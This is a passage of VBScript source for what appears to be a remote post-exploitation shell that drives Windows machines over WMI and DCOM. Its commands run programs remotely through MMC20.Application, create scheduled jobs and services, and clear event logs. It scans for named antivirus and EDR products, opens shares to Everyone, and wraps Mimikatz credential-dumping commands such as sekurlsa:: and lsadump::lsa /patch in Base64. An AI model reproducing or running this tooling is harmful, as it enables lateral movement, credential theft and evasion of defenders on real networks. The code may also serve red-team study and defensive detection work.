strWMIQuery = "Destination,InterfaceIndex,Mask,NextHop,Protocol,Type,Metric1"
strWMIFilter = ""
If Not WMIQueryValid(objWMIService, strWMIOperation, strWMIClassName, strWMIQuery, strWMIFilter, colItems) Then
Exit Function
End If
arrProperties = Split(strWMIQuery, ",")
arrWMIMethods = vbEmpty
intOutputCount = 0
arrResult = WMIOutputTable(colItems, arrProperties, arrWMIMethods, intOutputCount, True)
strWMIClassName = "Win32_NetworkAdapter"
strWMIQuery = "NetConnectionID,InterfaceIndex"
strWMIFilter = ""
If WMIQueryValid(objWMIService, strWMIOperation, strWMIClassName, strWMIQuery, strWMIFilter, colAdapterItems) Then
arrProperties = Split(strWMIQuery, ",")
arrWMIMethods = vbEmpty
intOutputCount = 0
arrAdapterResult = WMIOutputTable(colAdapterItems, arrProperties, arrWMIMethods, intOutputCount, True)
For y = 2 To UBound(arrResult)
For i = 2 To UBound(arrAdapterResult)
If arrResult(y)(1) = arrAdapterResult(i)(1) Then 'InterfaceIndex
If Len(arrAdapterResult(i)(0)) > 0 Then
arrResult(y)(1) = arrAdapterResult(i)(0)
End If
Exit For
End If
Next
Next
End If
If arrResult(0)(4) = "Protocol" Then
For y = 2 To UBound(arrResult)
arrResult(y)(4) = RouteTableProtocal(arrResult(y)(4))
Next
End If
If arrResult(0)(5) = "Type" Then
For y = 2 To UBound(arrResult)
arrResult(y)(5) = RouteTableType(arrResult(y)(5))
Next
End If
PrintGWResult arrResult, "table"
End Function
Function ShellRM(objWMIService, arrArguments, WorkingFolder)
If UBound(arrArguments) < 2 Then
WriteLine "[!] Error: missing filename."
WriteLine "Remove-File <file1> [file2] [...]"
Else
For i = 2 To UBound(arrArguments)
boolPrintResult = True
boolPrintError = True
WMIRemoveFile objWMIService, arrArguments(i), WorkingFolder, boolPrintResult, boolPrintError
Next
End If
End Function
Function ShellCP(objWMIService, arrArguments, WorkingFolder, boolDeleteSource)
If UBound(arrArguments) < 3 Then
WriteLine "[!] Error: missing filename."
Else
'Slect Case UBound(arrArguments)
'Case 2 'only source provided, use here as target
' If target path = current working folder Then
' Exit
' Else
' If target EndWith("\") Then
' cp all files under target to here
' Else
' cp target file to here
' End If
' End If
'Case 3 'source and target
' If source EndWith("\") Then
' If target EndWith("\") Then 'both folder
' cp all files under source to target
' Else
' Exit
' End If
' Else
' If target EndWith("\") Then 'file to folder
' cp specified file to target 'keep name
' Else
' cp specified file to target 'rename
' End If
' End If
'Case Else
' WriteLine "[!] Error: missing filename."
'End Select
strDestination = arrArguments(UBound(arrArguments))
For i = 2 To UBound(arrArguments) - 1
boolPrintResult = True
boolPrintError = True
WMICopyFile objWMIService, arrArguments(i), strDestination, WorkingFolder, boolDeleteSource, boolPrintResult, boolPrintError
Next
End If
End Function
Function ShellFF(objWMIService, arrArguments, WorkingFolder)
If UBound(arrArguments) < 2 Then
WriteLine "[!] Error: missing filename."
WriteLine "Find-File <file1> [file2] [...]"
Exit Function
End If
For i = 2 To UBound(arrArguments)
Set dicFile = HandleFilePath(arrArguments(i), WorkingFolder)
WriteLine "[+] Searching for file " & dicFile.Item("File")
If GetSubFiles(dicFile, objWMIService, colItems, "Name") Then
If colItems.Count = 0 Then
WriteLine "[-] Nothing found."
Else
For Each objItem In colItems
WriteLine vbTab & objItem.Name
Next
End If
End If
Next
End Function
Function ShellLS(objWMIService, arrArguments, WorkingFolder)
If UBound(arrArguments) > 1 Then
strFolderToGetChild = arrArguments(2)
Else
strFolderToGetChild = Replace(WorkingFolder & "\", "\\", "\")
End If
If Not GetChildItem(objWMIService, strFolderToGetChild, WorkingFolder, arrResult) Then
Exit Function
End If
For y = 0 To UBound(arrResult)
intLengthWidth = WhichIsLager(intLengthWidth, Len(arrResult(y)(3))) 'file length
Next
For y = 0 To UBound(arrResult)
arrResult(y)(3) = FormatOutputR(arrResult(y)(3), intLengthWidth, " ")
Next
PrintGWResult arrResult, "table"
End Function
Function ShellQFE(objWMIService, arrArguments)
If UBound(arrArguments) < 2 Then
WriteLine "[!] Error: missing hotfixid."
WriteLine "Hotfix-Check <ID | ID1,ID2,...> [ID2 | ID2,ID3...] [...]"
Else
For i = 2 To UBound(arrArguments)
GetQFEInfo objWMIService, arrArguments(i)
Next
End If
End Function
Function ShellCW(objWMIService)
strQFE = "KB2871997,KB2973351,KB2975625,KB2982378,KB2984972,KB2984976,KB2984981,KB2973501,KB3126593"
GetQFEInfo objWMIService, strQFE
End Function
Function ShellGSV(objWMIService, arrArguments)
strQuery = "Select Name,DisplayName,State,ProcessID,PathName " & _
"From Win32_Service"
If UBound(arrArguments) > 1 Then
strQuery = strQuery & " Where Name Like '" & Replace(arrArguments(2), "*", "%") & "'"
End If
If GetWMIObject(objWMIService, strQuery, arrResult) Then
PrintGWResult arrResult, "table"
End If
End Function
Function ShellNSV(objWMIService, arrArguments)
If UBound(arrArguments) < 3 Then
WriteLine "[!] Error: missing arguments."
WriteLine "New-Service <ServiceName> <DisplayName> <InstallPath>"
Else
strServiceName = arrArguments(2)
strDisplayName = arrArguments(3)
strInstallPath = arrArguments(4)
CreateService objWMIService, strServiceName, strDisplayName, strInstallPath
End If
End Function
Function ShellHASV(objWMIService, arrArguments, strOperation)
If UBound(arrArguments) < 2 Then
WriteLine "[!] Error: missing service name."
Else
For i = 2 To UBound(arrArguments)
ServiceOperation arrArguments(i), objWMIService, strOperation
Next
End If
End Function
Function ShellCEV(objWMIService, arrArguments)
If UBound(arrArguments) < 2 Then
WriteLine "[!] Error: missing event log name."
WriteLine "Clear-Event <name1> [name2] [...]"
Exit Function
End If
For i = 2 To UBound(arrArguments)
strQuery = "Select Name " & _
"From Win32_NTEventlogFile " & _
"WHERE LogFileName='" & arrArguments(i) & "' " & _
"Call ClearEventlog"
If GetWMIObject(objWMIService, strQuery, arrCEVResult) Then
PrintGWResult arrCEVResult, "table"
strQuery = "Select Name,LastModified,NumberOfRecords " & _
"From Win32_NTEventlogFile " & _
"WHERE LogFileName='" & arrArguments(i) & "'"
If GetWMIObject(objWMIService, strQuery, arrResult) Then
PrintGWResult arrResult, "table"
End If
End If
Next
End Function
Function ShellGEV(objWMIService, arrArguments)
If UBound(arrArguments) < 2 Then
WriteLine "[!] Error: missing event log name."
WriteLine "Clear-Event <name>"
Exit Function
End If
strQuery = "Select Name,FileSize,InstallDate,LastModified,LogfileName,NumberOfRecords " & _
"From Win32_NTEventlogFile " & _
"Where LogFileName = '" & arrArguments(2) & "'"
If GetWMIObject(objWMIService, strQuery, arrResult) Then
PrintGWResult arrResult, "table"
End If
End Function
Function ShellNOW(objWMIService)
strQuery = "Select LocalDateTime " & _
"From Win32_OperatingSystem " & _
"/output:list"
If GetWMIObject(objWMIService, strQuery, arrResult) Then
arrResult(1)(1) = WMIDateStringToDate(arrResult(1)(1), False)
PrintGWResult arrResult, "list"
End If
End Function
Function ShellCC(objWMIService)
WriteLine "[+] Checking process..."
strQuery = "Select Caption,ExecutablePath " & _
"From Win32_Process " & _
"Where ExecutablePath Like '%receptor%' OR ExecutablePath Like '%FireEye%' " & _
"OR ExecutablePath Like '%Sophos%' OR ExecutablePath Like '%Avecto%' " & _
"OR ExecutablePath Like '%Sysmon%' OR ExecutablePath Like '%CarbonBlack%' " & _
"OR ExecutablePath Like '%Tanium%' OR ExecutablePath Like '%Security%' " & _
"OR ExecutablePath Like '%Fidelis%' OR ExecutablePath Like '%CrowdStrike%' " & _
"OR ExecutablePath Like '%Symantec%' OR ExecutablePath Like '%AVG%' " & _
"OR ExecutablePath Like '%AntiVirus%' OR ExecutablePath Like '%AVAST%' " & _
"OR ExecutablePath Like '%Kaspersky%' OR ExecutablePath Like '%Avira%' " & _
"OR ExecutablePath Like '%ESET%' OR ExecutablePath Like '%F-Secure%' " & _
"OR ExecutablePath Like '%PCPitstop%' OR ExecutablePath Like '%ESTsoft%' " & _
"OR ExecutablePath Like '%DrWeb%' OR ExecutablePath Like '%Mcafee%' " & _
"OR ExecutablePath Like '%Trend_Micro%' OR ExecutablePath Like '%K7_Computing%' " & _
"OR ExecutablePath Like '%LanScope%' OR ExecutablePath Like '%Protect%' " & _
"OR ExecutablePath Like '%cylance%' OR ExecutablePath Like '%Palo_Alto%' " & _
"OR ExecutablePath Like '%Fujitsu%' OR ExecutablePath Like '%Systemwalker%' " & _
"OR ExecutablePath Like '%Confer%' " & _
"OR Caption Like '%hpe%' OR Caption Like '%tan%' OR Caption Like '%sysmon%' " & _
"OR Caption Like '%endpoint%' OR Caption Like '%falcon%' OR Caption Like '%cb.exe' " & _
"OR Caption Like '%almon.exe' OR Caption Like '%cylance%' OR Caption Like '%avguix%' " & _
"OR Caption Like '%ragent%' OR Caption Like '%xagt%' OR Caption Like '%defend%' " & _
"OR Caption Like '%sgnmaster%' OR Caption Like '%swc_%' OR Caption Like '%swi_%' " & _
"OR Caption Like '%SAVAdminS%' OR Caption Like '%SISI%' OR Caption Like '%LspSrv%' " & _
"OR Caption Like '%CSNest%' OR Caption Like '%Rep%' "
If GetWMIObject(objWMIService, strQuery, arrResult) Then
PrintGWResult arrResult, "table"
End If
End Function
Function ShellCC2(objWMIService)
WriteLine "[+] Checking product..."
strQuery = "Select Name,Version,Vendor,InstallLocation " & _
"From Win32_Product " & _
"Where Name Like '%AVG%' OR Name Like '%EndPoint%' OR Name Like '%Sophos%' " & _
"OR Name Like '%Cylance%' OR Name Like '%CrowdStrike%' OR Name Like '%Trend%' " & _
"OR Name Like '%Sensor%' OR Name Like '%Defense%' OR Name Like '%Virus%' " & _
"OR Name Like '%Protect%' OR Name Like '%Monitor%' OR Name Like '%Secure%' "
If GetWMIObject(objWMIService, strQuery, arrResult) Then
PrintGWResult arrResult, "table"
End If
End Function
Function ShellGPD(objWMIService)
strQuery = "Select Name,Version,Vendor " & _
"From Win32_Product"
If GetWMIObject(objWMIService, strQuery, arrResult) Then
PrintGWResult arrResult, "table"
End If
End Function
Function ShellGAT()
If GetAntiInfo(conRemoteTarget, conUserName, conPassword, arrAnti) Then
If IsArray(arrAnti) Then
For Each strAnti In arrAnti
WriteLine strAnti
Next
Else
WriteLine "[-] Nothing found."
End If
End If
End Function
Function ShellGJ(objWMIService, arrArguments)
strQuery = "Select JobID,Command,StartTime,JobStatus " & _
"From Win32_ScheduledJob"
If UBound(arrArguments) > 1 Then
strQuery = strQuery & " Where JobID = '" & arrArguments(2) & "'"
End If
If GetWMIObject(objWMIService, strQuery, arrResult) Then
PrintGWResult arrResult, "table"
End If
End Function
Function ShellEJ(objWMIService, arrArguments)
If UBound(arrArguments) > 1 Then
ExecuteSchedulejob objWMIService, arrArguments(0)
Else
WriteLine "[!] Error: missing arguments."
WriteLine "Exec-Job <command>"
End If
End Function
Function ShellNJ(objWMIService, arrArguments)
If UBound(arrArguments) > 1 Then
If CreateScheduledJob(objWMIService, arrArguments(0), JobID) Then
WriteLine "[+] JobID = " & JobID
WriteLine "[-] Job should be run at 1min later."
WriteLine "[-] Use Remove-Job or rj to remove it manually after run!!"
End If
Else
WriteLine "[!] Error: missing arguments."
WriteLine "New-Job <command>"
End If
End Function
Function ShellRJ(objWMIService, arrArguments)
If UBound(arrArguments) > 1 Then
If DeleteScheduledJob(objWMIService, arrArguments(2)) Then
'success
End If
Else
WriteLine "[!] Error: missing arguments."
WriteLine "Remove-Job <jobID>"
End If
End Function
Function ShellPS(objWMIService, arrArguments)
strWMIOperation = "ExecQuery"
strWMIClassName = "Win32_Process"
strWMIQuery = "Caption,ProcessID,SessionID,CreationDate,ParentProcessId"
If UBound(arrArguments) > 1 Then
strProcess = arrArguments(2)
If RegxWith(strProcess, "^\d+$", True, "") Then
strWMIFilter = "Where ProcessId = " & strProcess
Else
strWMIFilter = "Where Name Like '" & Replace(strProcess, "*", "%") & "'"
End If
End If
If Not WMIQueryValid(objWMIService, strWMIOperation, strWMIClassName, strWMIQuery, strWMIFilter, colItems) Then
Exit Function
End If
WriteLine colItems.Count & " Process(es) in total."
arrProperties = Split(strWMIQuery, ",")
arrWMIMethods = Array("GetOwner")
intOutputCount = 0
arrResult = WMIOutputTable(colItems, arrProperties, arrWMIMethods, intOutputCount, True)
If arrResult(0)(3) = "CreationDate" Then
For y = 2 To UBound(arrResult)
arrResult(y)(3) = WMIDateStringToDate(arrResult(y)(3), False)
Next
End If
PrintGWResult arrResult, "table"
End Function
Function ShellSTART(objWMIService, arrArguments)
If UBound(arrArguments) > 1 Then
If ProcessStart(objWMIService, arrArguments(0), WorkingFolder, intProcessID) Then
WriteLine "[+] PID: " & intProcessID
End If
Else
WriteLine "[!] Error: missing arguments."
WriteLine "Start-Process <command>"
End If
End Function
Function ShellKILL(objWMIService, arrArguments)
If UBound(arrArguments) > 1 Then
ProcessKill objWMIService, arrArguments(2)
Else
WriteLine "[!] Error: missing arguments."
WriteLine "Stop-Process <caption | processID>"
End If
End Function
Function ShellTEST(objWMIService, arrArguments)
If UBound(arrArguments) < 2 Then
WriteLine "[!] Error: missing host."
WriteLine "Connection-Test <name1> [name2] [...]"
Else
For i = 2 To UBound(arrArguments)
PingStatus objWMIService, arrArguments(i), False
Next
End If
End Function
Function ShellGVOL(objWMIService)
strQuery = "Select DriveLetter,Label,FileSystem,DriveType," & _
"SystemVolume,BootVolume,Capacity,FreeSpace " & _
"From Win32_Volume " & _
"/Output:Table"
If GetWMIObject(objWMIService, strQuery, arrResult) Then
If arrResult(0)(6) = "Capacity" Then
For y = 2 To UBound(arrResult)
arrResult(y)(6) = FormatFileSize(arrResult(y)(6))
Next
End If
If arrResult(0)(7) = "FreeSpace" Then
For y = 2 To UBound(arrResult)
arrResult(y)(7) = FormatFileSize(arrResult(y)(7))
Next
End If
PrintGWResult arrResult, "table"
End If
End Function
Function ShellGLU(objWMIService)
If GetLogonUserList(objWMIService, arrLogonUserList) Then
PrintGWResult arrLogonUserList, "table"
End If
End Function
Function ShellGW(objWMIService, arrArguments)
If GetWMIObject(objWMIService, arrArguments(0) , arrResult) Then
PrintGWResult arrResult, "auto"
End If
End Function
Function ShellMAP(arrArguments)
If UBound(arrArguments) < 4 Then
WriteLine "[!] Error: missing args."
WriteLine "Map-RemoteDrive <LocalDriveLetter> <RemoteHost> <ShareName> [UserName] [Password]"
Exit Function
End If
strLocalDrive = arrArguments(2)
strHost = arrArguments(3)
strShareName = arrArguments(4)
If UBound(arrArguments) > 5 Then
strUser = arrArguments(5)
strPass = arrArguments(6)
Else
strUser = conUserName
strPass = conPassword
End If
intMapErr = MapDrive(strLocalDrive, strHost, strShareName, strUser, strPass)
End Function
Function ShellRMAP(arrArguments)
If UBound(arrArguments) < 3 Then
WriteLine "[!] Error: missing args."
WriteLine "Remove-MappedDrive <RemoteHost> <ShareName>"
Exit Function
End If
strHost = arrArguments(2)
strShareName = arrArguments(3)
If RemoveMappedDrive(strHost, strShareName) Then
WriteLine "[-] Success."
End If
End Function
Function ShellDefaultShare(arrArguments)
WriteLine "[+] Current used share is [" & conShareName & "] with [" & conShareFolder & "]"
WriteLine "[+] Current result file is " & conCachedFile
If UBound(arrArguments) < 3 Then
WriteLine "[!] Error: missing args."
WriteLine "Change-DefaultShare <ShareName> <SharePath>"
Exit Function
End If
conShareName = arrArguments(2)
conShareFolder = arrArguments(3)
WriteLine "[!] Changed to use [" & conShareName & "] with [" & conShareFolder & "]"
conCachedFile = Replace(conShareFolder & "\" & CachedFileName, "\\", "\")
conResultFile = Replace(conShareFolder & "\" & ResultFileName, "\\", "\")
WriteLine "[!] Result file is " & conCachedFile
End Function
Function ShellMMC(arrArguments)
On Error Resume Next
Err.Clear
ShellMMC = False
Set objMMC = CreateObject("MMC20.Application", conRemoteTarget)
If Err Then
Warning "to connect via MMC20 ", Err.Number, Err.Description
Exit Function
End If
strCommand = arrArguments(2)
strDirectory = ""
strParameters = ""
strWindowState = "Minimized"
objMMC.Document.ActiveView.ExecuteShellCommand strCommand, strDirectory, strParameters, strWindowState
If Err Then
Warning "to connect via MMC20 ", Err.Number, Err.Description
Else
WriteLine "[-] Success."
End If
End Function
Function ShellELSE(boolLocalCommand, boolWMIMode, objWMIService, strKeyWord, arrArguments, intTimeOut)
strCommand = strKeyWord & " " & arrArguments(0)
If (InStr(LCase(strCommand), "lsadump::lsa /patch") > 0) And _
(InStr(objRemoteOSInfo.Version, "6.2.9200") > 0) Then
WriteLine "[!] 2012 does not support patch mode."
Exit Function
End If
If boolAutoConvertBase64 Then
If (InStr(LCase(strCommand), "privilege::") > 0) OR _
(InStr(LCase(strCommand), "sekurlsa::") > 0) OR _
(InStr(LCase(strCommand), "process::") > 0) OR _
(InStr(LCase(strCommand), "lsadump::") > 0) OR _
(InStr(LCase(strCommand), "token::") > 0) Then
strCommand = strKeyWord & " " & Base64EncodeString(arrArguments(0), True, True)
End If
End If
If boolLocalCommand Then
LocalCMDExec strCommand, True, ""
Else
'If boolWMIMode Then
' WriteLine "[!] Warning, WMI Only!"
'Else
' ShellExec objWMIService, strCommand, True, True, "", intTimeOut
'End If
ShellExec objWMIService, strCommand, True, True, "", intTimeOut
End If
End Function
'=====================
Function ReadCommand()
On Error Resume Next
Do
WScript.StdOut.Write(strTitle & " " & RemoteWorkingFolder & ">")
ReadCommand = wscript.stdin.ReadLine
Loop While ReadCommand = ""
End Function
Function MapDrive(strLocalDrive, strHost, strShareName, strUser, strPass)
On Error Resume Next
Err.Clear
strRemoteShare = "\\" & strHost & "\" & strShareName
objNetwork.MapNetworkDrive strLocalDrive, strRemoteShare, False, strUser, strPass
MapDrive = Err.Number
If Err Then
Warning "to map " & strRemoteShare & " ", Err.Number, Split(Err.Description, vbCrLf)(0)
Exit Function
Else
WriteLine "[+] Map " & strRemoteShare & " success."
End If
End Function
Function RemoveMappedDrive(strHost, strShareName)
On Error Resume Next
RemoveMappedDrive = False
Err.Clear
strRemoteShare = "\\" & strHost & "\" & strShareName
objNetwork.RemoveNetworkDrive strRemoteShare, True, False
If Err Then
Warning "to remove " & strRemoteShare & " ", Err.Number, Err.Description
Else
RemoveMappedDrive = True
WriteLine "[+] Remove " & strRemoteShare & " success."
End If
End Function
Function CreateShare(objWMIService, strNameOfShare, strFolderOfShare, strCommentOfShare, strSharePermission, outErrCode)
On Error Resume Next
Err.Clear
CreateShare = False
WriteLine "[+] Creating Share [" & strNameOfShare & "] with [" & strFolderOfShare & "]..."
If Not ConvertACEAccessMask(strSharePermission, longAccessMask) Then
Exit Function
End If
Set objNewShare = objWMIService.Get("Win32_Share")
If Err Then
Warning "to get Win32_Share ", Err.Number, Err.Description
Exit Function
End If
Select Case longAccessMask
Case 1179785 'readonly
outErrCode = objNewShare.Create(strFolderOfShare, strNameOfShare, 0, 25, strCommentOfShare)
Case Else
Set Trustee = objWMIService.Get("Win32_Trustee").SpawnInstance_()
Trustee.Domain = Null
Trustee.Name = "Everyone"
Trustee.SID = Array(1,1,0,0,0,0,0,1,0,0,0,0) 'SID S-1-1-0 (binary)
Set ace = objWMIService.Get("Win32_Ace").SpawnInstance_()
ace.AccessMask = longAccessMask 'full access or other
ace.AceFlags = 3 'object inheritance + container inheritance
ace.AceType = 0 'allow access
ace.Trustee = Trustee
Set sd = objWMIService.Get("Win32_SecurityDescriptor").SpawnInstance_()
sd.DACL = Array(ace)
outErrCode = objNewShare.Create(strFolderOfShare, strNameOfShare, 0, 25, strCommentOfShare, "", sd)
End Select
Select Case outErrCode
Case 0
CreateShare = True
WriteLine "[-] Sucess, premission is " & strSharePermission
Case Else
CreateShare = False
Warning "to create share ", outErrCode, Win32ShareErrorCode(outErrCode)
End Select
End Function
Function GetSharePermission(objWMIService, strShare, outPermissionArray)
On Error Resume Next
Err.Clear
GetSharePermission = False
WriteLine "[+] Querying share permission of " & strShare & " ..."
strQuery = "Select Name from Win32_LogicalShareSecuritySetting WHERE Name='" & strShare & "'"
Set colItems = objWMIService.ExecQuery(strQuery)
If Err Then
Warning "to get Win32_LogicalShareSecuritySetting ", Err.Number, Err.Description
Exit Function
End If
If colItems.Count = 0 Then
WriteLine "[!] Security setting for share " & strShare & " could not be found."
Exit Function
End If
ReDim outPermissionArray(colItems.Count - 1, 1)
i = 0
For Each objItem in colItems
TheShareNameRetVal = objItem.GetSecurityDescriptor(TheShareName)
DACL = TheShareName.DACL
For Each wmiAce in DACL
Set Trustee = wmiAce.Trustee
strShareUserDomain = Trustee.Domain
strShareUserName = Trustee.Name
If Len(strShareUserDomain) > 0 Then strShareUserDomain = strShareUserDomain & "\"
If ConvertACEAccessMask(wmiAce.AccessMask, strPermission) Then
GetSharePermission = True
outPermissionArray(i, 0) = strShareUserDomain & strShareUserName
outPermissionArray(i, 1) = strPermission
WriteLine "[-] " & strShareUserDomain & strShareUserName & " has " & strPermission & " permission."
Else
GetSharePermission = False
End If
Next
i = i + 1
Next
End Function
Function DeleteShare(objWMIService, strNameOfShare)
On Error Resume Next
Err.Clear
WriteLine "[+] Deleting Share " & strNameOfShare & " ..."
DeleteShare = False
strQuery = "Select Name from Win32_Share Where Name = '" & strNameOfShare & "'"
Set colItems = objWMIService.ExecQuery(strQuery)
If Err Then
Warning "to get Win32_Share ", Err.Numebr, Err.Description
Exit Function
End If
If colItems.Count = 0 Then
WriteLine "[!] Share " & strNameOfShare & " could not be found."
Exit Function
End If
For Each objItem In colItems
intReturn = objItem.Delete
If intReturn <> 0 Then
Warning "to delete share ", intReturn, Win32ShareErrorCode(intReturn)
Else
DeleteShare = True
WriteLine "[-] Success."
End If
Next
End Function
Function Win32ShareErrorCode(intCode)
Select Case intCode
Case 0 Win32ShareErrorCode = "Success."
Case 2 Win32ShareErrorCode = "Access denied."
Case 8 Win32ShareErrorCode = "Unknown failure."
Case 9 Win32ShareErrorCode = "Invalid name."
Case 10 Win32ShareErrorCode = "Invalid level."
Case 21 Win32ShareErrorCode = "Invalid parameter."
Case 22 Win32ShareErrorCode = "Duplicate share."
Case 23 Win32ShareErrorCode = "Redirected path."
Case 24 Win32ShareErrorCode = "Unknown device or directory."
Case 25 Win32ShareErrorCode = "Net name not found."
Case Else Win32ShareErrorCode = "Unknown reason."
End Select
End Function
Function ConvertACEAccessMask(inAccessMask, outMask)
On Error Resume Next
Err.Clear
ConvertACEAccessMask = True
Select Case VarType(inAccessMask)
Case 2, 3 'vbInteger, vbLong
Select Case inAccessMask
Case 1179785 outMask = "ReadOnly"
Case 1180063 outMask = "Read/Write"
Case 1179817 outMask = "Read/ReadExecute"
Case 1180095 outMask = "Read/ReadExecute/Write"
Case 1245631 outMask = "Read/ReadExecute/Modify/Write"
Case 2032127 outMask = "FullControl"
Case Else
WriteLine "[!] Error: could not convert " & inAccessMask & " to string."
ConvertACEAccessMask = False
End Select
Case 8 'vbString
Select Case UCase(inAccessMask)
Case "READONLY"
outMask = 1179785
Case "FULLCONTROL"
outMask = 2032127
Case Else
inAccessMask = LCase(inAccessMask)
inAccessMask = Replace(inAccessMask, "/", "")
Do
If InStr(inAccessMask, "read") > 0 Then
outMask = 1179785
inAccessMask = Replace(inAccessMask, "read", "")
ElseIf InStr(inAccessMask, "write") > 0 Then
outMask = outMask + 278
inAccessMask = Replace(inAccessMask, "write", "")
ElseIf InStr(inAccessMask, "execute") > 0 Then
outMask = outMask + 32
inAccessMask = Replace(inAccessMask, "execute", "")
ElseIf InStr(inAccessMask, "modify") > 0 Then
outMask = outMask + 65536
inAccessMask = Replace(inAccessMask, "modify", "")
Else
WriteLine "[!] Error: no ACE access mask could be found for permission " & inAccessMask
ConvertACEAccessMask = False
Exit Do
End If
Loop While Len(inAccessMask) > 0
If ConvertACEAccessMask And (outMask < 1179785) Then
outMask = outMask + 1179785
End If
End Select
Case Else
ConvertACEAccessMask = False
End Select
End Function
Function GetRemoteOSInfo(objWMIService, outObject)
On Error Resume Next
Err.Clear
GetRemoteOSInfo = False
strQuery = "Select Caption,Version,OSArchitecture,OSLanguage,CSName,RegisteredUser," & _
"CurrentTimeZone,InstallDate,LastBootUpTime,LocalDateTime,SystemDirectory " & _
"From Win32_OperatingSystem"
Set colItems = objWMIService.ExecQuery(strQuery)
If Err Then
Warning "to get Win32_OperatingSystem ", Err.Number, Err.Description
Exit Function
Else
GetRemoteOSInfo = True
End If
For Each objItem in colItems
Set outObject = objItem
WriteLine "[" & conRemoteTarget & "] Caption : " & objItem.Caption
WriteLine "[" & conRemoteTarget & "] Version : " & objItem.Version
WriteLine "[" & conRemoteTarget & "] OSArchitecture : " & objItem.OSArchitecture
WriteLine "[" & conRemoteTarget & "] OSLanguage : " & OSLang(objItem.OSLanguage)
WriteLine "[" & conRemoteTarget & "] WorkstationName : " & objItem.CSName
WriteLine "[" & conRemoteTarget & "] Registered User : " & objItem.RegisteredUser
WriteLine "[" & conRemoteTarget & "] CurrentTimeZone : " & objItem.CurrentTimeZone/60
WriteLine "[" & conRemoteTarget & "] OS Install Date : " & WMIDateStringToDate(objItem.InstallDate, False)
WriteLine "[" & conRemoteTarget & "] LastBootUp Time : " & WMIDateStringToDate(objItem.LastBootUpTime, False)
WriteLine "[" & conRemoteTarget & "] Local Date Time : " & WMIDateStringToDate(objItem.LocalDateTime, False)
Next
End Function
Function GetRemoteComputerInfo(objWMIService, outObject)
On Error Resume Next
Err.Clear
GetRemoteComputerInfo = False
strQuery = "Select DNSHostName,Domain,DomainRole,PartOfDomain,PrimaryOwnerName,Workgroup " & _
"From Win32_ComputerSystem"
set colItems = objWMIService.ExecQuery(strQuery)
If Err Then
Warning "to get Win32_ComputerSystem ", Err.Number, Err.Description
Exit Function
Else
GetRemoteComputerInfo = True
End If
For Each objItem in colItems
Set outObject = objItem
If LCase(objRemoteOSInfo.RegisteredUser) <> LCase(objItem.PrimaryOwnerName) Then
WriteLine "[" & conRemoteTarget & "] PrimaryOwnerName: " & objItem.PrimaryOwnerName
End If
If LCase(objRemoteOSInfo.CSName) <> LCase(objItem.DNSHostName) Then
WriteLine "[" & conRemoteTarget & "] DNSHostName : " & objItem.DNSHostName
End If
If objItem.PartOfDomain Then
WriteLine "[" & conRemoteTarget & "] In Domain : " & objItem.Domain
WriteLine "[" & conRemoteTarget & "] DomainRole : " & ConvertDomainRole(objItem.DomainRole)
Else
WriteLine "[" & conRemoteTarget & "] In Workgroup : " & objItem.Workgroup
End If
Next
End Function
Function ConvertDomainRole(intValue)
Select Case intValue
Case 0 strResult = "Standalone Workstation"
Case 1 strResult = "Member Workstation"
Case 2 strResult = "Standalone Server"
Case 3 strResult = "Member Server"
Case 4 strResult = "Backup Domain Controller"
Case 5 strResult = "Primary Domain Controller"
Case Else strResult = intValue
End Select
ConvertDomainRole = strResult
End Function
Function GetRemoteIPAddr(objWMIService)
On Error Resume Next
Err.Clear
GetRemoteIPAddr = False
strWMIOperation = "ExecQuery"
strWMIClassName = "Win32_NetworkAdapterConfiguration"
strWMIQuery = "IPAddress"
strWMIFilter = "Where IPEnabled='True'"
If WMIQueryValid(objWMIService, strWMIOperation, strWMIClassName, strWMIQuery, strWMIFilter, colConfigItems) Then
GetRemoteIPAddr = True
Else
Exit Function
End If
For Each objItem In colConfigItems
WriteLine "[" & conRemoteTarget & "] IPAddress : " & Join(objItem.IPAddress, ", ")
Next
End Function
Function GetClientInfo(objWMIService)
On Error Resume Next
Err.Clear
GetClientInfo = False
WriteLine "[+] Getting login user..."
command = "query.exe user"
If ShellExec(objWMIService, command, False, True, strQueryUser, intWaitTime) Then
outResult = Split(strQueryUser, vbCrLf)
Else
Exit Function
End If
WriteLine "[+] Getting sid..."
command = "reg.exe query HKU"
If ShellExec(objWMIService, command, False, True, strSIDResult, intWaitTime) Then
arrSIDResult = Split(strSIDResult, vbCrLf)
Else
Exit Function
End If
For Each strSIDResult In arrSIDResult
If RegxWith(strSIDResult, "S-1-5-[0-9]{2}-([0-9]*-){3}[0-9]*$", True, "") Then
ArrayAppend arrSIDList, strSIDResult
End If
Next
If Not IsArray(arrSIDList) Then
Exit Function
End If
WriteLine "[+] Getting reg..."
For Each strSidWithHive In arrSIDList
command = "reg.exe query """ & strSidWithHive & "\Volatile Environment"" /s"
If ShellExec(objWMIService, command, False, True, strClientRegInfo, intWaitTime) Then
ArrayAppend outResult, Split(strSidWithHive, "\")(1)
For Each strRegInfo In Split(strClientRegInfo, vbCrLf)
arrRegInfo = Split(strRegInfo)
If UBound(arrRegInfo) = 12 Then
'i = 4 is ValueName
'i = 8 is ValueType
'i = 12 is Value
Select Case arrRegInfo(4)
Case "USERNAME"
ArrayAppend outResult, vbTab & "USERNAME" & vbTab & vbTab & arrRegInfo(12)
Case "SESSIONNAME"
ArrayAppend outResult, vbTab & "SESSIONNAME" & vbTab & vbTab & arrRegInfo(12)
Case "USERDOMAIN"
ArrayAppend outResult, vbTab & "USERDOMAIN" & vbTab & vbTab & arrRegInfo(12)
Case "USERDNSDOMAIN"
ArrayAppend outResult, vbTab & "USERDNSDOMAIN" & vbTab & vbTab & arrRegInfo(12)
Case "CLIENTNAME"
ArrayAppend outResult, vbTab & "USERDNSDOMAIN" & vbTab & vbTab & arrRegInfo(12)
Case Else
'ignore
End Select
End If
Next
End If
Next
For i = 0 To UBound(outResult)
WriteLine outResult(i)
Next
End Function
Function GetVideoInfo(objWMIService)
On Error Resume Next
Err.Clear
GetVideoInfo = False
strQuery = "Select DeviceID,Name,AdapterRAM From Win32_VideoController"
Set colItems = objWMIService.ExecQuery(strQuery)
If Err Then
Warning "to get Win32_VideoController ", Err.Number, Err.Description
Exit Function
End If
For Each objItem in colItems
strVideoD = objItem.DeviceID
strVideoN = objItem.Name
strVideoM = objItem.AdapterRAM / 1024 / 1024
WriteLine "[" & strVideoD & "] : " & strVideoN & vbTab & strVideoM & " MB"
Next
End Function
Function WMIRemoveFile(objWMIService, strFileToRemove, strWorkingDirectory, boolPrintResult, boolPrintError)
On Error Resume Next
Err.Clear
WMIRemoveFile = False
